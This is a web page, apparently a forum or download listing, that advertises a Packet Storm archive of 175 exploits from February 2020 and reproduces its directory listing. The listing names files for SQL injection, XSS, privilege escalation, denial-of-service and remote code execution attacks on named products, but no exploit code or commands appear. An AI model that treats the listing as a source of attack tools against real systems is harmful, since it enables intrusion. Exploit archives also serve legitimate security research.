    This archive contains all of the 175 exploits added to Packet Storm in February, 2020. Content: Volume in drive C has no label. Volume Serial Number is 1337 Directory of H:\Downloads\202002-exploits\202002-exploits\2002-exploits 03/13/2020 12:57 AM <DIR> . 03/13/2020 12:57 AM <DIR> .. 02/06/2020 07:34 PM 1,627 absolutetelnet1112-dos.txt 02/24/2020 11:36 AM 3,823 acesecurity-wip90113.pl.txt 02/22/2020 01:22 AM 3,809 amovision-AM-Q6320.pl.txt 02/21/2020 05:44 PM 1,902 amss431-sql.txt 02/22/2020 12:11 PM 1,804 amss47-backdoor.txt 02/26/2020 09:22 AM 10,884 apachetomcatajp-lfi.txt 02/20/2020 11:25 PM 7,661 apache_james_exec.rb.txt 02/22/2020 01:45 AM 3,962 aptina-ar0130.pl.txt 02/25/2020 05:06 PM 869 asctimetables2020114-dos.txt 02/25/2020 05:27 PM 3,987 astak-cm818t3.pl.txt 02/23/2020 08:22 PM 723 atutor224-sql.txt 02/17/2020 06:51 PM 1,419 avayaacm52-exec.txt 02/24/2020 10:54 AM 1,080 avayaipoas11000-xss.txt 02/05/2020 08:35 PM 1,085 avideo81-enumerate.txt 02/05/2020 08:33 PM 869 avideo81-xsrf.txt 02/01/2020 03:03 PM 1,806 bearftp010-dos.txt 02/24/2020 11:33 AM 2,329 binder_uaf.rb.txt 02/26/2020 07:02 PM 1,223 blcs10-xsrf.txt 02/17/2020 06:34 PM 1,112 bootpturbo201214-unquotedpath.txt 02/26/2020 05:22 AM 2,814 cacti128-exec.txt 02/26/2020 03:32 AM 1,114 cacti128unauth-exec.txt 02/24/2020 11:24 AM 1,391 candidats210-xsrf.txt 02/06/2020 07:45 PM 9,173 cdcnm112-exec.txt 02/06/2020 07:51 PM 6,522 cdcnm1121-inject.txt 02/06/2020 07:48 PM 12,107 cdcnm1121-sql.txt 02/04/2020 04:50 PM 9,732 centreon19105pollers-exec.rb.txt 02/11/2020 05:44 PM 1,474 chiyubf430-xss.txt 02/28/2020 08:19 AM 3,478 comtrendvr3033-exec.txt 02/26/2020 01:02 PM 888 coreftple22-dos.txt 02/20/2020 07:45 PM 917 coreftplite13-dos.txt 02/13/2020 06:00 PM 3,063 crosschex_device_bof.rb.txt 02/17/2020 06:38 PM 3,064 cuckooclock50-overflow.txt 02/17/2020 08:00 PM 68,913 CVE-2020-0728-master.zip 02/17/2020 03:11 AM 1,097 dbe11024-unquotedpath.txt 02/19/2020 05:36 PM 3,692 dbpower_c300.pl.txt 02/17/2020 06:36 PM 1,068 dhcpturbo461298-unquotedpath.txt 02/20/2020 11:23 PM 3,507 diamorphine_rootkit_signal_priv_esc.rb.txt 02/26/2020 06:02 AM 1,893 directweb040-xss.txt 02/11/2020 05:40 PM 991 disksavvye12318-unquotedpath.txt 02/21/2020 05:50 PM 4,574 dlinkdgs1250-inject.txt 02/07/2020 04:27 PM 2,037 dlink_dir859_exec_ssdpcgi.rb.txt 02/25/2020 05:03 PM 1,393 dnn944zipslip-traversal.txt 02/25/2020 05:02 PM 4,382 dnn950-bypass.txt 02/25/2020 05:01 PM 1,585 dnn950-xss.txt 02/09/2020 04:22 AM 2,388 dota2723f-dos.txt 02/16/2020 07:01 PM 1,106 dpe12418-unquotedpath.txt 02/11/2020 05:39 PM 1,114 dse12416-unquotedpath.txt 02/11/2020 05:47 PM 4,727 dvdphotosp807-overflow.txt 02/20/2020 07:41 PM 3,056 easy2pilot7-xsrf.txt 02/26/2020 06:44 AM 6,596 easy2pilot8-sqlxsrf.txt 02/06/2020 07:44 PM 2,870 ecomsystempay10-bruteforce.txt 02/17/2020 06:22 AM 1,164 ecs41-unquotedpath.txt 02/16/2020 05:03 AM 1,326 efmws56-unquotedpath.txt 02/15/2020 10:02 PM 1,277 efsws72-unquotedpath.txt 02/17/2020 06:43 PM 5,044 EFSWSv72-remoteStackOverflow.py.txt 02/06/2020 12:11 PM 737 elansmartpad1110151-unquotedpath.txt 02/24/2020 11:17 AM 2,714 election20-sql.txt 02/14/2020 04:54 PM 2,054 epsonempnp281-unquotedpath.txt 02/22/2020 01:23 AM 3,749 escam-qd900.pl.txt 02/10/2020 05:24 PM 4,287 expertgps638-xml.txt 02/08/2020 09:02 PM 9,494 eyesofnetwork53-exec.txt 02/04/2020 04:43 PM 2,019 fig540-overflow.txt 02/10/2020 06:44 AM 1,350 forcepointws85-xss.txt 02/11/2020 05:37 PM 1,048 freeftpd1013-unquotedpath.txt 02/11/2020 05:41 PM 1,047 freesshd131-unquotedpath.txt 02/17/2020 06:45 PM 4,058 ftpShellServerExploit.py.txt 02/10/2020 05:23 PM 9,069 googleir3-bypass.txt 02/23/2020 05:33 AM 1,646 gossh002-dos.txt 02/07/2020 05:50 PM 3,323 GS20200207155059.tgz 02/07/2020 05:52 PM 2,395 GS20200207155218.tgz 02/07/2020 05:54 PM 90,767 GS20200207155420.tgz 02/07/2020 05:55 PM 574 GS20200207155551.tgz 02/07/2020 06:03 PM 2,418 GS20200207160325.tgz 02/07/2020 06:05 PM 12,532 GS20200207160522.tgz 02/07/2020 06:06 PM 1,839 GS20200207160613.txt 02/07/2020 06:07 PM 4,089 GS20200207160755.tgz 02/07/2020 06:08 PM 3,847 GS20200207160856.tgz 02/07/2020 06:10 PM 39,390 GS20200207161005.tgz 02/07/2020 06:10 PM 1,534 GS20200207161058.tgz 02/11/2020 05:53 PM 11,596 GS20200211155302.tgz 02/11/2020 05:55 PM 7,778 GS20200211155447.tgz 02/12/2020 08:54 PM 23,671 GS20200212185441.tgz 02/12/2020 08:57 PM 15,254 GS20200212185641.txt 02/13/2020 05:53 PM 5,254 GS20200213155259.tgz 02/13/2020 05:55 PM 21,075 GS20200213155509.tgz 02/13/2020 05:56 PM 2,578 GS20200213155604.tgz 02/20/2020 11:10 PM 4,814 GS20200220211045.tgz 02/20/2020 11:15 PM 13,887,567 GS20200220211553.tgz 02/27/2020 04:44 PM 1,500 GS20200228070551.tgz 02/27/2020 08:22 PM 1,910 GS20200228070705.tgz 02/27/2020 05:43 PM 1,592 GS20200228071051.tgz 02/27/2020 07:02 PM 4,771 GS20200228071318.tgz 02/27/2020 09:02 PM 9,360 GS20200228071450.tgz 02/05/2020 12:11 PM 16,280 hisiliconfirmware-backdoor.txt 02/14/2020 04:49 PM 1,486 homeguardpro931-insecure.txt 02/12/2020 08:41 PM 2,409 HP-SYSTEM-EVENT-UTILITY-LOCAL-PRIVILEGE-ESCALATION.txt 02/16/2020 11:22 AM 1,830 hpse1290-unquotedpath.txt 02/16/2020 10:22 PM 1,857 icehrm2620-xsrf.txt 02/02/2020 11:32 AM 3,613 jira834-disclose.txt 02/13/2020 05:26 PM 1,945 KIS-2020-01.txt 02/13/2020 05:34 PM 3,077 KIS-2020-02.txt 02/13/2020 05:46 PM 1,244 KIS-2020-03.txt 02/13/2020 05:49 PM 1,600 KIS-2020-04.txt 02/13/2020 05:51 PM 2,928 KIS-2020-05.txt 02/05/2020 08:48 PM 9,144 kronoswebta40-escalate.txt 02/17/2020 07:27 PM 2,312 labvantage83-disclose.txt 02/10/2020 05:34 PM 1,715 learndashwplns312-xss.txt 02/25/2020 05:09 PM 6,464 magentowccgpg2030-bypass.txt 02/24/2020 03:32 AM 3,266 meela100-disclose.txt 02/29/2020 01:02 AM 1,474 mitreid133-xss.txt 02/17/2020 06:54 PM 2,751 msislpwin10-escalate.txt 02/29/2020 01:02 AM 10,011 mswinkern-escalate.txt 02/12/2020 08:16 PM 6,995 mvcpro314-overflow.txt 02/19/2020 05:17 PM 9,859 nanometricscentaur4323-leak.txt 02/28/2020 08:02 PM 36,319 nimbus-exec.c 02/21/2020 05:46 PM 907 obcs10-xss.txt 02/25/2020 05:13 PM 982 odinsecureftpexpert763-dos.txt 02/06/2020 07:40 PM 2,954 ojp10-exec.txt 02/06/2020 07:40 PM 3,337 ojp10-sql.txt 02/06/2020 07:43 PM 1,616 ojp10-xsrf.txt 02/21/2020 05:57 PM 3,006 opennetadmin_ping_cmd_injection.rb.txt 02/07/2020 04:26 PM 3,889 opensmtpd_mail_from_rce.rb.txt 02/13/2020 05:48 PM 4,485 opentftp166-escalate.txt 02/21/2020 05:52 PM 8,321 oxappsuite-ssrf.txt 02/03/2020 06:44 PM 954 p2pwificam2-dos.txt 02/09/2020 12:11 PM 1,411 packwebfel10-sql.txt 02/13/2020 05:45 PM 2,273 pandorafms70-exec.txt 02/05/2020 08:27 PM 107,333 perf-exploiter.sh.txt 02/26/2020 04:02 PM 1,797 phpix2012-sql.txt 02/03/2020 06:07 PM 2,948 phplist350-bypass.txt 02/14/2020 04:48 PM 2,293 phpmychatplus198-sql.txt 02/29/2020 12:43 AM 7,364 qdpm-exec.txt 02/25/2020 05:29 PM 8,691 QSA-CVE-2020-8793.tgz 02/25/2020 05:32 PM 6,644 QSA-CVE-2020-8794.txt 02/10/2020 05:14 PM 1,947 quickdate132-sql.txt 02/24/2020 10:55 AM 3,165 quickneasyws338-dos.txt 02/11/2020 05:51 PM 4,760 raptor_opensmtpd.pl.txt 02/06/2020 07:37 PM 1,510 rarmaradio2724-dos.txt 02/04/2020 04:48 PM 11,038 rdp_doublepulsar_rce.rb.txt 02/24/2020 11:37 AM 3,896 revotech-i6032b.pl.txt 02/07/2020 04:29 PM 5,695 ricoh_driver_privesc.rb.txt 02/26/2020 09:33 PM 7,297 SA-20200225-0.txt 02/11/2020 05:41 PM 1,063 sbe12418-unquotedpath.txt 02/03/2020 06:46 PM 7,603 schneiderelectricumotion134-inject.txt 02/03/2020 06:16 PM 26,591 schoolerp10-xsrf.txt 02/24/2020 11:35 AM 3,774 secustation-ipcam-130.pl.txt 02/22/2020 01:44 AM 3,768 secustation-sc831.pl.txt 02/19/2020 05:12 PM 18,180 smartclient120-disclosexmllfi.txt 02/04/2020 04:46 PM 14,469 smb_doublepulsar_rce.rb.txt 02/05/2020 08:51 PM 7,334 socat1734-overflow.txt 02/15/2020 09:32 PM 6,685 soplanning145-sql.txt 02/15/2020 09:59 PM 3,843 soplanning145-xsrf.txt 02/25/2020 05:05 PM 749 spotftp248-dos.txt 02/14/2020 05:02 PM 6,115 sprintwork231-escalate.txt 02/04/2020 04:41 PM 1,635 sudo1825p-overflow.txt 02/14/2020 04:46 PM 6,972,977 swapgs-attack-poc-master.tgz 02/13/2020 04:59 PM 3,383,827 sweyntooth_bluetooth_low_energy_attacks-master.zip 02/06/2020 07:35 PM 1,698 tapinradio2123-dos.txt 02/17/2020 06:37 PM 1,069 tftpturbo461273-unquotedpath.txt 02/11/2020 05:36 PM 4,551 torrentipodvc151-overflow.txt 02/10/2020 08:22 PM 670 vanilla263-xss.txt 02/05/2020 08:46 PM 6,789 verodindwc3540-disclose.txt 02/06/2020 01:11 PM 387 vim82-dos.txt 02/19/2020 05:10 PM 3,500 virtualfreer158-exec.txt 02/17/2020 12:01 PM 1,039 vxse12416-unquotedpath.txt 02/05/2020 08:52 PM 7,400 wagopfc200-exec.rb.txt 02/10/2020 05:31 PM 2,331 weddingsss136-overflow.txt 02/05/2020 08:54 PM 5,403 windscribe_windscribeservice_priv_esc.rb.txt 02/17/2020 07:52 PM 1,205 wpfruitful38-xss.txt 02/18/2020 05:02 PM 1,332 wpsitemappage162-xss.txt 02/17/2020 06:50 PM 3,941 wpstrongtestimonials2401-xss.txt 02/25/2020 05:08 PM 6,131 wpwccgpg3115-bypass.txt 02/10/2020 05:38 PM 5,712 wp_infinitewp_auth_bypass.rb.txt 02/11/2020 05:48 PM 2,380 wss136-overflow.txt 02/17/2020 07:43 PM 12,044 ZSL-2020-5562.txt 176 File(s) 25,303,498 bytes 2 Dir(s) 45,591,375,872 bytes free Download 202002-exploits.tgz (23.5 MB) Source
×
×
  • Create New...